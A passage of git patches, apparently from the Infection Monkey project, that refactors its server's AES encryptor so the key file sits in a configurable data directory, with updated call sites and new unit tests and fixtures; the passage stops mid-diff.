monkey/monkey_island/cc/testing/environment/server_config_data_dir.json diff --git a/monkey/monkey_island/cc/environment/environment_config.py b/monkey/monkey_island/cc/environment/environment_config.py index aec1a777f83..3bc9327b456 100644 --- a/monkey/monkey_island/cc/environment/environment_config.py +++ b/monkey/monkey_island/cc/environment/environment_config.py @@ -6,6 +6,7 @@ from typing import Dict, List import monkey_island.cc.environment.server_config_generator as server_config_generator +from monkey_island.cc.server_utils.consts import DEFAULT_DATA_DIR from monkey_island.cc.environment.user_creds import UserCreds from monkey_island.cc.resources.auth.auth_user import User from monkey_island.cc.resources.auth.user_store import UserStore @@ -18,6 +19,7 @@ def __init__(self, file_path): self.deployment = None self.user_creds = None self.aws = None + self.data_dir = None self._load_from_file(self._server_config_path) @@ -26,7 +28,7 @@ def _load_from_file(self, file_path): if not Path(file_path).is_file(): server_config_generator.create_default_config_file(file_path) - with open(file_path, 'r') as f: + with open(file_path, "r") as f: config_content = f.read() self._load_from_json(config_content) @@ -37,22 +39,29 @@ def _load_from_json(self, config_json: str) -> EnvironmentConfig: def _load_from_dict(self, dict_data: Dict): user_creds = UserCreds.get_from_dict(dict_data) - aws = dict_data['aws'] if 'aws' in dict_data else None + aws = dict_data["aws"] if "aws" in dict_data else None + data_dir = ( + dict_data["data_dir"] if "data_dir" in dict_data else DEFAULT_DATA_DIR + ) - self.server_config = dict_data['server_config'] - self.deployment = dict_data['deployment'] + self.server_config = dict_data["server_config"] + self.deployment = dict_data["deployment"] self.user_creds = user_creds self.aws = aws + self.data_dir = data_dir def save_to_file(self): - with open(self._server_config_path, 'w') as f: + with open(self._server_config_path, "w") as f: f.write(json.dumps(self.to_dict(), indent=2)) def to_dict(self) -> Dict: - config_dict = {'server_config': self.server_config, - 'deployment': self.deployment} + config_dict = { + "server_config": self.server_config, + "deployment": self.deployment, + "data_dir": self.data_dir, + } if self.aws: - config_dict.update({'aws': self.aws}) + config_dict.update({"aws": self.aws}) config_dict.update(self.user_creds.to_dict()) return config_dict diff --git a/monkey/monkey_island/cc/environment/environment_singleton.py b/monkey/monkey_island/cc/environment/environment_singleton.py index 01e83096d0b..aa2dc32d6c0 100644 --- a/monkey/monkey_island/cc/environment/environment_singleton.py +++ b/monkey/monkey_island/cc/environment/environment_singleton.py @@ -20,6 +20,7 @@ } env = None +config = None def set_env(env_type: str, env_config: EnvironmentConfig): @@ -39,6 +40,8 @@ def set_to_standard(): def initialize_from_file(file_path): + global config + try: config = EnvironmentConfig(file_path) diff --git a/monkey/monkey_island/cc/environment/test_environment_config.py b/monkey/monkey_island/cc/environment/test_environment_config.py index b06e2630144..a8e8a1bebc6 100644 --- a/monkey/monkey_island/cc/environment/test_environment_config.py +++ b/monkey/monkey_island/cc/environment/test_environment_config.py @@ -4,7 +4,7 @@ import pytest -from monkey_island.cc.server_utils.consts import MONKEY_ISLAND_ABS_PATH +from monkey_island.cc.server_utils.consts import DEFAULT_DATA_DIR, MONKEY_ISLAND_ABS_PATH from monkey_island.cc.environment.environment_config import EnvironmentConfig from monkey_island.cc.environment.user_creds import UserCreds @@ -23,6 +23,7 @@ STANDARD_WITH_CREDENTIALS = os.path.join( TEST_RESOURCES_DIR, "server_config_standard_with_credentials.json" ) +DATA_DIR = os.path.join(TEST_RESOURCES_DIR, "server_config_data_dir.json") @pytest.fixture @@ -33,28 +34,31 @@ def config_file(tmpdir): def test_get_with_credentials(): config_dict = EnvironmentConfig(WITH_CREDENTIALS).to_dict() - assert len(config_dict.keys()) == 4 + assert len(config_dict.keys()) == 5 assert config_dict["server_config"] == "password" assert config_dict["deployment"] == "develop" assert config_dict["user"] == "test" assert config_dict["password_hash"] == "abcdef" + assert config_dict["data_dir"] == DEFAULT_DATA_DIR def test_get_with_no_credentials(): config_dict = EnvironmentConfig(NO_CREDENTIALS).to_dict() - assert len(config_dict.keys()) == 2 + assert len(config_dict.keys()) == 3 assert config_dict["server_config"] == "password" assert config_dict["deployment"] == "develop" + assert config_dict["data_dir"] == DEFAULT_DATA_DIR def test_get_with_partial_credentials(): config_dict = EnvironmentConfig(PARTIAL_CREDENTIALS).to_dict() - assert len(config_dict.keys()) == 3 + assert len(config_dict.keys()) == 4 assert config_dict["server_config"] == "password" assert config_dict["deployment"] == "develop" assert config_dict["user"] == "test" + assert config_dict["data_dir"] == DEFAULT_DATA_DIR def test_save_to_file(config_file): @@ -67,12 +71,13 @@ def test_save_to_file(config_file): with open(config_file, "r") as f: from_file = json.load(f) - assert len(from_file.keys()) == 5 + assert len(from_file.keys()) == 6 assert from_file["server_config"] == "standard" assert from_file["deployment"] == "develop" assert from_file["user"] == "test" assert from_file["password_hash"] == "abcdef" assert from_file["aws"] == "test_aws" + assert from_file["data_dir"] == DEFAULT_DATA_DIR def test_add_user(config_file): @@ -88,7 +93,7 @@ def test_add_user(config_file): with open(config_file, "r") as f: from_file = json.load(f) - assert len(from_file.keys()) == 4 + assert len(from_file.keys()) == 5 assert from_file["user"] == new_user assert from_file["password_hash"] == new_password_hash @@ -113,3 +118,9 @@ def test_generate_default_file(config_file): assert environment_config.user_creds.username == "" assert environment_config.user_creds.password_hash == "" assert environment_config.aws is None + assert environment_config.data_dir == DEFAULT_DATA_DIR + + +def test_data_dir(): + environment_config = EnvironmentConfig(DATA_DIR) + assert environment_config.data_dir == "/test/data/dir" diff --git a/monkey/monkey_island/cc/server_utils/consts.py b/monkey/monkey_island/cc/server_utils/consts.py index c12a42731b9..5a0e6958192 100644 --- a/monkey/monkey_island/cc/server_utils/consts.py +++ b/monkey/monkey_island/cc/server_utils/consts.py @@ -16,3 +16,5 @@ DEFAULT_LOGGER_CONFIG_PATH = os.path.join( MONKEY_ISLAND_ABS_PATH, "cc", "island_logger_default_config.json" ) + +DEFAULT_DATA_DIR = os.path.join(MONKEY_ISLAND_ABS_PATH, "cc") diff --git a/monkey/monkey_island/cc/server_utils/island_logger.py b/monkey/monkey_island/cc/server_utils/island_logger.py index 224e85364c2..1efbb773432 100644 --- a/monkey/monkey_island/cc/server_utils/island_logger.py +++ b/monkey/monkey_island/cc/server_utils/island_logger.py @@ -3,7 +3,7 @@ import os from typing import Dict -from monkey_island.cc.consts import DEFAULT_LOGGER_CONFIG_PATH +from monkey_island.cc.server_utils.consts import DEFAULT_LOGGER_CONFIG_PATH __author__ = "Maor.Rayzin" diff --git a/monkey/monkey_island/cc/test_island_logger.py b/monkey/monkey_island/cc/server_utils/test_island_logger.py similarity index 83% rename from monkey/monkey_island/cc/test_island_logger.py rename to monkey/monkey_island/cc/server_utils/test_island_logger.py index a1cc27aa7ec..af58f4b752e 100644 --- a/monkey/monkey_island/cc/test_island_logger.py +++ b/monkey/monkey_island/cc/server_utils/test_island_logger.py @@ -3,8 +3,8 @@ import pytest -from monkey_island.cc.consts import MONKEY_ISLAND_ABS_PATH -from monkey_island.cc.island_logger import json_setup_logging +from monkey_island.cc.server_utils.consts import MONKEY_ISLAND_ABS_PATH +from monkey_island.cc.server_utils.island_logger import json_setup_logging TEST_LOGGER_CONFIG_PATH = os.path.join( MONKEY_ISLAND_ABS_PATH, "cc", "testing", "logger_config.json" diff --git a/monkey/monkey_island/cc/testing/environment/server_config_data_dir.json b/monkey/monkey_island/cc/testing/environment/server_config_data_dir.json new file mode 100644 index 00000000000..b9d6845f3ad --- /dev/null +++ b/monkey/monkey_island/cc/testing/environment/server_config_data_dir.json @@ -0,0 +1,7 @@ +{ + "server_config": "password", + "deployment": "develop", + "user": "test", + "password_hash": "abcdef", + "data_dir": "/test/data/dir" +} From 3f6c268f40170450803b749e44999092dda78eda Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 11 Feb 2021 20:16:31 -0500 Subject: [PATCH 0085/1360] cc: allow encryptor to store key file in variable locations --- monkey/monkey_island/cc/main.py | 2 + .../cc/server_utils/encryptor.py | 38 +++++++++++-------- .../technique_report_tools.py | 4 +- monkey/monkey_island/cc/services/config.py | 22 +++++------ .../services/telemetry/processing/exploit.py | 2 +- .../telemetry/processing/system_info.py | 2 +- .../scoutsuite/scoutsuite_auth_service.py | 2 +- .../test_scoutsuite_auth_service.py | 7 ++-- monkey/monkey_island/cc/test_encryptor.py | 29 ++++++++++++++ monkey/monkey_island/cc/testing/mongo_key.bin | 2 + 10 files changed, 75 insertions(+), 35 deletions(-) create mode 100644 monkey/monkey_island/cc/test_encryptor.py create mode 100644 monkey/monkey_island/cc/testing/mongo_key.bin diff --git a/monkey/monkey_island/cc/main.py b/monkey/monkey_island/cc/main.py index 2018da89cf7..4bb704aee81 100644 --- a/monkey/monkey_island/cc/main.py +++ b/monkey/monkey_island/cc/main.py @@ -23,6 +23,7 @@ from monkey_island.cc.server_utils.bootloader_server import BootloaderHttpServer # noqa: E402 from monkey_island.cc.database import get_db_version # noqa: E402 from monkey_island.cc.database import is_db_server_up # noqa: E402 +from monkey_island.cc.encryptor import initialize_encryptor # noqa: E402 from monkey_island.cc.services.utils.network_utils import local_ip_addresses # noqa: E402 from monkey_island.cc.resources.monkey_download import MonkeyDownload # noqa: E402 from monkey_island.cc.services.reporting.exporter_init import populate_exporter_list # noqa: E402 @@ -34,6 +35,7 @@ def main(should_setup_only=False, server_config_filename=DEFAULT_SERVER_CONFIG_PATH): logger.info("Starting bootloader server") env_singleton.initialize_from_file(server_config_filename) + initialize_encryptor(env_singleton.config.data_dir) mongo_url = os.environ.get('MONGO_URL', env_singleton.env.get_mongo_url()) bootloader_server_thread = Thread(target=BootloaderHttpServer(mongo_url).serve_forever, daemon=True) diff --git a/monkey/monkey_island/cc/server_utils/encryptor.py b/monkey/monkey_island/cc/server_utils/encryptor.py index cce7d464ae8..2a9ce8feae7 100644 --- a/monkey/monkey_island/cc/server_utils/encryptor.py +++ b/monkey/monkey_island/cc/server_utils/encryptor.py @@ -6,33 +6,32 @@ from Crypto import Random # noqa: DUO133 # nosec: B413 from Crypto.Cipher import AES # noqa: DUO133 # nosec: B413 -from monkey_island.cc.server_utils.consts import MONKEY_ISLAND_ABS_PATH - __author__ = "itay.mizeretz" +_encryptor = None + class Encryptor: _BLOCK_SIZE = 32 - _DB_PASSWORD_FILENAME = os.path.join(MONKEY_ISLAND_ABS_PATH, 'cc/mongo_key.bin') + _PASSWORD_FILENAME = "mongo_key.bin" - def __init__(self): - self._load_key() + def __init__(self, data_dir): + password_file = os.path.join(data_dir, self._PASSWORD_FILENAME) - def _init_key(self): + if os.path.exists(password_file): + self._load_existing_key(password_file) + else: + self._init_key(password_file) + + def _init_key(self, password_file): self._cipher_key = Random.new().read(self._BLOCK_SIZE) - with open(self._DB_PASSWORD_FILENAME, 'wb') as f: + with open(password_file, 'wb') as f: f.write(self._cipher_key) - def _load_existing_key(self): - with open(self._DB_PASSWORD_FILENAME, 'rb') as f: + def _load_existing_key(self, password_file): + with open(password_file, 'rb') as f: self._cipher_key = f.read() - def _load_key(self): - if os.path.exists(self._DB_PASSWORD_FILENAME): - self._load_existing_key() - else: - self._init_key() - def _pad(self, message): return message + (self._BLOCK_SIZE - (len(message) % self._BLOCK_SIZE)) * chr( self._BLOCK_SIZE - (len(message) % self._BLOCK_SIZE)) @@ -52,4 +51,11 @@ def dec(self, enc_message): return self._unpad(cipher.decrypt(enc_message[AES.block_size:]).decode()) -encryptor = Encryptor() +def initialize_encryptor(data_dir): + global _encryptor + + _encryptor = Encryptor(data_dir) + + +def encryptor(): + return _encryptor diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/technique_report_tools.py b/monkey/monkey_island/cc/services/attack/technique_reports/technique_report_tools.py index 34be687a494..35356cad447 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/technique_report_tools.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/technique_report_tools.py @@ -29,7 +29,7 @@ def censor_password(password, plain_chars=3, secret_chars=5): """ if not password: return "" - password = encryptor.dec(password) + password = encryptor().dec(password) return password[0:plain_chars] + '*' * secret_chars @@ -42,5 +42,5 @@ def censor_hash(hash_, plain_chars=5): """ if not hash_: return "" - hash_ = encryptor.dec(hash_) + hash_ = encryptor().dec(hash_) return hash_[0: plain_chars] + ' ...' diff --git a/monkey/monkey_island/cc/services/config.py b/monkey/monkey_island/cc/services/config.py index 39038013101..edf44b967a3 100644 --- a/monkey/monkey_island/cc/services/config.py +++ b/monkey/monkey_island/cc/services/config.py @@ -75,9 +75,9 @@ def get_config_value(config_key_as_arr, is_initial_config=False, should_decrypt= if should_decrypt: if config_key_as_arr in ENCRYPTED_CONFIG_VALUES: if isinstance(config, str): - config = encryptor.dec(config) + config = encryptor().dec(config) elif isinstance(config, list): - config = [encryptor.dec(x) for x in config] + config = [encryptor().dec(x) for x in config] return config @staticmethod @@ -112,7 +112,7 @@ def add_item_to_config_set_if_dont_exist(item_path_array, item_value, should_enc if item_value in items_from_config: return if should_encrypt: - item_value = encryptor.enc(item_value) + item_value = encryptor().enc(item_value) mongo.db.config.update( {'name': 'newconfig'}, {'$addToSet': {item_key: item_value}}, @@ -297,9 +297,9 @@ def decrypt_flat_config(flat_config, is_island=False): if flat_config[key] and isinstance(flat_config[key][0], dict) and 'public_key' in flat_config[key][0]: flat_config[key] = [ConfigService.decrypt_ssh_key_pair(item) for item in flat_config[key]] else: - flat_config[key] = [encryptor.dec(item) for item in flat_config[key]] + flat_config[key] = [encryptor().dec(item) for item in flat_config[key]] else: - flat_config[key] = encryptor.dec(flat_config[key]) + flat_config[key] = encryptor().dec(flat_config[key]) return flat_config @staticmethod @@ -320,19 +320,19 @@ def _encrypt_or_decrypt_config(config, is_decrypt=False): config_arr[i] = ConfigService.decrypt_ssh_key_pair(config_arr[i]) if is_decrypt else \ ConfigService.decrypt_ssh_key_pair(config_arr[i], True) else: - config_arr[i] = encryptor.dec(config_arr[i]) if is_decrypt else encryptor.enc(config_arr[i]) + config_arr[i] = encryptor().dec(config_arr[i]) if is_decrypt else encryptor().enc(config_arr[i]) else: parent_config_arr[config_arr_as_array[-1]] = \ - encryptor.dec(config_arr) if is_decrypt else encryptor.enc(config_arr) + encryptor().dec(config_arr) if is_decrypt else encryptor().enc(config_arr) @staticmethod def decrypt_ssh_key_pair(pair, encrypt=False): if encrypt: - pair['public_key'] = encryptor.enc(pair['public_key']) - pair['private_key'] = encryptor.enc(pair['private_key']) + pair['public_key'] = encryptor().enc(pair['public_key']) + pair['private_key'] = encryptor().enc(pair['private_key']) else: - pair['public_key'] = encryptor.dec(pair['public_key']) - pair['private_key'] = encryptor.dec(pair['private_key']) + pair['public_key'] = encryptor().dec(pair['public_key']) + pair['private_key'] = encryptor().dec(pair['private_key']) return pair @staticmethod diff --git a/monkey/monkey_island/cc/services/telemetry/processing/exploit.py b/monkey/monkey_island/cc/services/telemetry/processing/exploit.py index 3d8588663bf..b2baff562b9 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/exploit.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/exploit.py @@ -66,4 +66,4 @@ def encrypt_exploit_creds(telemetry_json): for field in ['password', 'lm_hash', 'ntlm_hash']: credential = attempts[i][field] if len(credential) > 0: - attempts[i][field] = encryptor.enc(credential) + attempts[i][field] = encryptor().enc(credential) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/system_info.py b/monkey/monkey_island/cc/services/telemetry/processing/system_info.py index d3e7cfb5493..5af4d1ddef3 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/system_info.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/system_info.py @@ -63,7 +63,7 @@ def encrypt_system_info_ssh_keys(ssh_info): for idx, user in enumerate(ssh_info): for field in ['public_key', 'private_key', 'known_hosts']: if ssh_info[idx][field]: - ssh_info[idx][field] = encryptor.enc(ssh_info[idx][field]) + ssh_info[idx][field] = encryptor().enc(ssh_info[idx][field]) def process_credential_info(telemetry_json): diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_auth_service.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_auth_service.py index 701598168ee..2bc7b2323cc 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_auth_service.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_auth_service.py @@ -37,7 +37,7 @@ def set_aws_keys(access_key_id: str, secret_access_key: str, session_token: str) def _set_aws_key(key_type: str, key_value: str): path_to_keys = AWS_KEYS_PATH - encrypted_key = encryptor.enc(key_value) + encrypted_key = encryptor().enc(key_value) ConfigService.set_config_value(path_to_keys + [key_type], encrypted_key) diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_auth_service.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_auth_service.py index c35e55a8f6a..72a1c711abb 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_auth_service.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_auth_service.py @@ -4,7 +4,7 @@ import dpath.util from monkey_island.cc.database import mongo -from monkey_island.cc.server_utils import encryptor +from monkey_island.cc.server_utils.encryptor import initialize_encryptor, encryptor from monkey_island.cc.services.config import ConfigService from common.config_value_paths import AWS_KEYS_PATH from monkey_island.cc.services.zero_trust.scoutsuite.scoutsuite_auth_service import is_aws_keys_setup @@ -16,7 +16,7 @@ class MockObject: @pytest.mark.usefixtures(FixtureEnum.USES_DATABASE) -def test_is_aws_keys_setup(): +def test_is_aws_keys_setup(tmp_path): # Mock default configuration ConfigService.init_default_config() mongo.db = MockObject() @@ -26,7 +26,8 @@ def test_is_aws_keys_setup(): assert not is_aws_keys_setup() # Make sure noone changed config path and broke this function - bogus_key_value = encryptor.encryptor.enc('bogus_aws_key') + initialize_encryptor(tmp_path) + bogus_key_value = encryptor().enc('bogus_aws_key') dpath.util.set(ConfigService.default_config, AWS_KEYS_PATH+['aws_secret_access_key'], bogus_key_value) dpath.util.set(ConfigService.default_config, AWS_KEYS_PATH+['aws_access_key_id'], bogus_key_value) diff --git a/monkey/monkey_island/cc/test_encryptor.py b/monkey/monkey_island/cc/test_encryptor.py new file mode 100644 index 00000000000..9a424cc0152 --- /dev/null +++ b/monkey/monkey_island/cc/test_encryptor.py @@ -0,0 +1,29 @@ +import os + +from monkey_island.cc.server_utils.consts import MONKEY_ISLAND_ABS_PATH +from monkey_island.cc.server_utils.encryptor import initialize_encryptor, encryptor + + +TEST_DATA_DIR = os.path.join(MONKEY_ISLAND_ABS_PATH, "cc", "testing") +PASSWORD_FILENAME = "mongo_key.bin" + +PLAINTEXT = "Hello, Monkey!" +CYPHERTEXT = "vKgvD6SjRyIh1dh2AM/rnTa0NI/vjfwnbZLbMocWtE4e42WJmSUz2ordtbQrH1Fq" + + +def test_aes_cbc_encryption(): + initialize_encryptor(TEST_DATA_DIR) + + assert encryptor().enc(PLAINTEXT) != PLAINTEXT + + +def test_aes_cbc_decryption(): + initialize_encryptor(TEST_DATA_DIR) + + assert encryptor().dec(CYPHERTEXT) == PLAINTEXT + + +def test_create_new_password_file(tmpdir): + initialize_encryptor(tmpdir) + + assert os.path.isfile(os.path.join(tmpdir, PASSWORD_FILENAME)) diff --git a/monkey/monkey_island/cc/testing/mongo_key.bin b/monkey/monkey_island/cc/testing/mongo_key.bin new file mode 100644 index 00000000000..6b8091efb87 --- /dev/null +++ b/monkey/monkey_island/cc/testing/mongo_key.bin @@ -0,0 +1,2 @@ ++ù­Æõ RO +ý)êž¾T“|ÄRSíÞ&Cá™â \ No newline at end of file From d2652381078fd0894b9d812292e691657eafda88 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 11 Feb 2021 20:17:22 -0500 Subject: [PATCH 0086/1360] cc: format encryptor.py with black --- .../monkey_island/cc/server_utils/encryptor.py | 17 ++++++++++------- 1 file changed, 10 insertions(+), 7 deletions(-) diff --git a/monkey/monkey_island/cc/server_utils/encryptor.py b/monkey/monkey_island/cc/server_utils/encryptor.py index 2a9ce8feae7..dd088530f03 100644 --- a/monkey/monkey_island/cc/server_utils/encryptor.py +++ b/monkey/monkey_island/cc/server_utils/encryptor.py @@ -25,30 +25,33 @@ def __init__(self, data_dir): def _init_key(self, password_file): self._cipher_key = Random.new().read(self._BLOCK_SIZE) - with open(password_file, 'wb') as f: + with open(password_file, "wb") as f: f.write(self._cipher_key) def _load_existing_key(self, password_file): - with open(password_file, 'rb') as f: + with open(password_file, "rb") as f: self._cipher_key = f.read() def _pad(self, message): return message + (self._BLOCK_SIZE - (len(message) % self._BLOCK_SIZE)) * chr( - self._BLOCK_SIZE - (len(message) % self._BLOCK_SIZE)) + self._BLOCK_SIZE - (len(message) % self._BLOCK_SIZE) + ) def _unpad(self, message: str): - return message[0:-ord(message[len(message) - 1])] + return message[0 : -ord(message[len(message) - 1])] def enc(self, message: str): cipher_iv = Random.new().read(AES.block_size) cipher = AES.new(self._cipher_key, AES.MODE_CBC, cipher_iv) - return base64.b64encode(cipher_iv + cipher.encrypt(self._pad(message).encode())).decode() + return base64.b64encode( + cipher_iv + cipher.encrypt(self._pad(message).encode()) + ).decode() def dec(self, enc_message): enc_message = base64.b64decode(enc_message) - cipher_iv = enc_message[0:AES.block_size] + cipher_iv = enc_message[0 : AES.block_size] cipher = AES.new(self._cipher_key, AES.MODE_CBC, cipher_iv) - return self._unpad(cipher.decrypt(enc_message[AES.block_size:]).decode()) + return self._unpad(cipher.decrypt(enc_message[AES.block_size :]).decode()) def initialize_encryptor(data_dir): From a09cd8f49743dec1bc18ed27a9d360229f60f3ac Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 16 Feb 2021 10:59:35 -0500 Subject: [PATCH 0087/1360] cc: expanduser in data_dir path in Encryptor --- monkey/monkey_island/cc/server_utils/encryptor.py | 4 +++- monkey/monkey_island/cc/test_encryptor.py | 8 ++++++++ 2 files changed, 11 insertions(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/server_utils/encryptor.py b/monkey/monkey_island/cc/server_utils/encryptor.py index dd088530f03..36fff735c25 100644 --- a/monkey/monkey_island/cc/server_utils/encryptor.py +++ b/monkey/monkey_island/cc/server_utils/encryptor.py @@ -16,7 +16,9 @@ class Encryptor: _PASSWORD_FILENAME = "mongo_key.bin" def __init__(self, data_dir): - password_file = os.path.join(data_dir, self._PASSWORD_FILENAME) + password_file = os.path.expanduser( + os.path.join(data_dir, self._PASSWORD_FILENAME) + ) if os.path.exists(password_file): self._load_existing_key(password_file) diff --git a/monkey/monkey_island/cc/test_encryptor.py b/monkey/monkey_island/cc/test_encryptor.py index 9a424cc0152..3380d1d4310 100644 --- a/monkey/monkey_island/cc/test_encryptor.py +++ b/monkey/monkey_island/cc/test_encryptor.py @@ -27,3 +27,11 @@ def test_create_new_password_file(tmpdir): initialize_encryptor(tmpdir) assert os.path.isfile(os.path.join(tmpdir, PASSWORD_FILENAME)) + + +def test_expand_home(monkeypatch, tmpdir): + monkeypatch.setenv("HOME", str(tmpdir)) + + initialize_encryptor("~/") + + assert os.path.isfile(os.path.join(tmpdir, "mongo_key.bin")) From 044c656543cd5d351b9103ca62b41f05f3a7ac4a Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 25 Feb 2021 06:36:20 -0500 Subject: [PATCH 0088/1360] cc: rename encryptor() -> get_encryptor() --- monkey/monkey_island/cc/main.py | 2 +- .../cc/server_utils/encryptor.py | 2 +- .../technique_report_tools.py | 6 ++--- monkey/monkey_island/cc/services/config.py | 24 +++++++++---------- .../services/telemetry/processing/exploit.py | 4 ++-- .../telemetry/processing/system_info.py | 4 ++-- .../scoutsuite/scoutsuite_auth_service.py | 4 ++-- .../test_scoutsuite_auth_service.py | 4 ++-- monkey/monkey_island/cc/test_encryptor.py | 6 ++--- 9 files changed, 28 insertions(+), 28 deletions(-) diff --git a/monkey/monkey_island/cc/main.py b/monkey/monkey_island/cc/main.py index 4bb704aee81..3e6f43d8c8e 100644 --- a/monkey/monkey_island/cc/main.py +++ b/monkey/monkey_island/cc/main.py @@ -23,7 +23,7 @@ from monkey_island.cc.server_utils.bootloader_server import BootloaderHttpServer # noqa: E402 from monkey_island.cc.database import get_db_version # noqa: E402 from monkey_island.cc.database import is_db_server_up # noqa: E402 -from monkey_island.cc.encryptor import initialize_encryptor # noqa: E402 +from monkey_island.cc.server_utils.encryptor import initialize_encryptor # noqa: E402 from monkey_island.cc.services.utils.network_utils import local_ip_addresses # noqa: E402 from monkey_island.cc.resources.monkey_download import MonkeyDownload # noqa: E402 from monkey_island.cc.services.reporting.exporter_init import populate_exporter_list # noqa: E402 diff --git a/monkey/monkey_island/cc/server_utils/encryptor.py b/monkey/monkey_island/cc/server_utils/encryptor.py index 36fff735c25..19744840d13 100644 --- a/monkey/monkey_island/cc/server_utils/encryptor.py +++ b/monkey/monkey_island/cc/server_utils/encryptor.py @@ -62,5 +62,5 @@ def initialize_encryptor(data_dir): _encryptor = Encryptor(data_dir) -def encryptor(): +def get_encryptor(): return _encryptor diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/technique_report_tools.py b/monkey/monkey_island/cc/services/attack/technique_reports/technique_report_tools.py index 35356cad447..6921b0129ac 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/technique_report_tools.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/technique_report_tools.py @@ -1,4 +1,4 @@ -from monkey_island.cc.server_utils.encryptor import encryptor +from monkey_island.cc.server_utils.encryptor import get_encryptor def parse_creds(attempt): @@ -29,7 +29,7 @@ def censor_password(password, plain_chars=3, secret_chars=5): """ if not password: return "" - password = encryptor().dec(password) + password = get_encryptor().dec(password) return password[0:plain_chars] + '*' * secret_chars @@ -42,5 +42,5 @@ def censor_hash(hash_, plain_chars=5): """ if not hash_: return "" - hash_ = encryptor().dec(hash_) + hash_ = get_encryptor().dec(hash_) return hash_[0: plain_chars] + ' ...' diff --git a/monkey/monkey_island/cc/services/config.py b/monkey/monkey_island/cc/services/config.py index edf44b967a3..9fd8e341757 100644 --- a/monkey/monkey_island/cc/services/config.py +++ b/monkey/monkey_island/cc/services/config.py @@ -8,7 +8,7 @@ import monkey_island.cc.environment.environment_singleton as env_singleton import monkey_island.cc.services.post_breach_files from monkey_island.cc.database import mongo -from monkey_island.cc.server_utils.encryptor import encryptor +from monkey_island.cc.server_utils.encryptor import get_encryptor from monkey_island.cc.services.utils.network_utils import local_ip_addresses from monkey_island.cc.services.config_schema.config_schema import SCHEMA @@ -75,9 +75,9 @@ def get_config_value(config_key_as_arr, is_initial_config=False, should_decrypt= if should_decrypt: if config_key_as_arr in ENCRYPTED_CONFIG_VALUES: if isinstance(config, str): - config = encryptor().dec(config) + config = get_encryptor().dec(config) elif isinstance(config, list): - config = [encryptor().dec(x) for x in config] + config = [get_encryptor().dec(x) for x in config] return config @staticmethod @@ -112,7 +112,7 @@ def add_item_to_config_set_if_dont_exist(item_path_array, item_value, should_enc if item_value in items_from_config: return if should_encrypt: - item_value = encryptor().enc(item_value) + item_value = get_encryptor().enc(item_value) mongo.db.config.update( {'name': 'newconfig'}, {'$addToSet': {item_key: item_value}}, @@ -297,9 +297,9 @@ def decrypt_flat_config(flat_config, is_island=False): if flat_config[key] and isinstance(flat_config[key][0], dict) and 'public_key' in flat_config[key][0]: flat_config[key] = [ConfigService.decrypt_ssh_key_pair(item) for item in flat_config[key]] else: - flat_config[key] = [encryptor().dec(item) for item in flat_config[key]] + flat_config[key] = [get_encryptor().dec(item) for item in flat_config[key]] else: - flat_config[key] = encryptor().dec(flat_config[key]) + flat_config[key] = get_encryptor().dec(flat_config[key]) return flat_config @staticmethod @@ -320,19 +320,19 @@ def _encrypt_or_decrypt_config(config, is_decrypt=False): config_arr[i] = ConfigService.decrypt_ssh_key_pair(config_arr[i]) if is_decrypt else \ ConfigService.decrypt_ssh_key_pair(config_arr[i], True) else: - config_arr[i] = encryptor().dec(config_arr[i]) if is_decrypt else encryptor().enc(config_arr[i]) + config_arr[i] = get_encryptor().dec(config_arr[i]) if is_decrypt else get_encryptor().enc(config_arr[i]) else: parent_config_arr[config_arr_as_array[-1]] = \ - encryptor().dec(config_arr) if is_decrypt else encryptor().enc(config_arr) + get_encryptor().dec(config_arr) if is_decrypt else get_encryptor().enc(config_arr) @staticmethod def decrypt_ssh_key_pair(pair, encrypt=False): if encrypt: - pair['public_key'] = encryptor().enc(pair['public_key']) - pair['private_key'] = encryptor().enc(pair['private_key']) + pair['public_key'] = get_encryptor().enc(pair['public_key']) + pair['private_key'] = get_encryptor().enc(pair['private_key']) else: - pair['public_key'] = encryptor().dec(pair['public_key']) - pair['private_key'] = encryptor().dec(pair['private_key']) + pair['public_key'] = get_encryptor().dec(pair['public_key']) + pair['private_key'] = get_encryptor().dec(pair['private_key']) return pair @staticmethod diff --git a/monkey/monkey_island/cc/services/telemetry/processing/exploit.py b/monkey/monkey_island/cc/services/telemetry/processing/exploit.py index b2baff562b9..9b06b028db7 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/exploit.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/exploit.py @@ -2,7 +2,7 @@ import dateutil -from monkey_island.cc.server_utils.encryptor import encryptor +from monkey_island.cc.server_utils.encryptor import get_encryptor from monkey_island.cc.models import Monkey from monkey_island.cc.services.config import ConfigService from monkey_island.cc.services.edge.displayed_edge import EdgeService @@ -66,4 +66,4 @@ def encrypt_exploit_creds(telemetry_json): for field in ['password', 'lm_hash', 'ntlm_hash']: credential = attempts[i][field] if len(credential) > 0: - attempts[i][field] = encryptor().enc(credential) + attempts[i][field] = get_encryptor().enc(credential) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/system_info.py b/monkey/monkey_island/cc/services/telemetry/processing/system_info.py index 5af4d1ddef3..25008069797 100644 --- 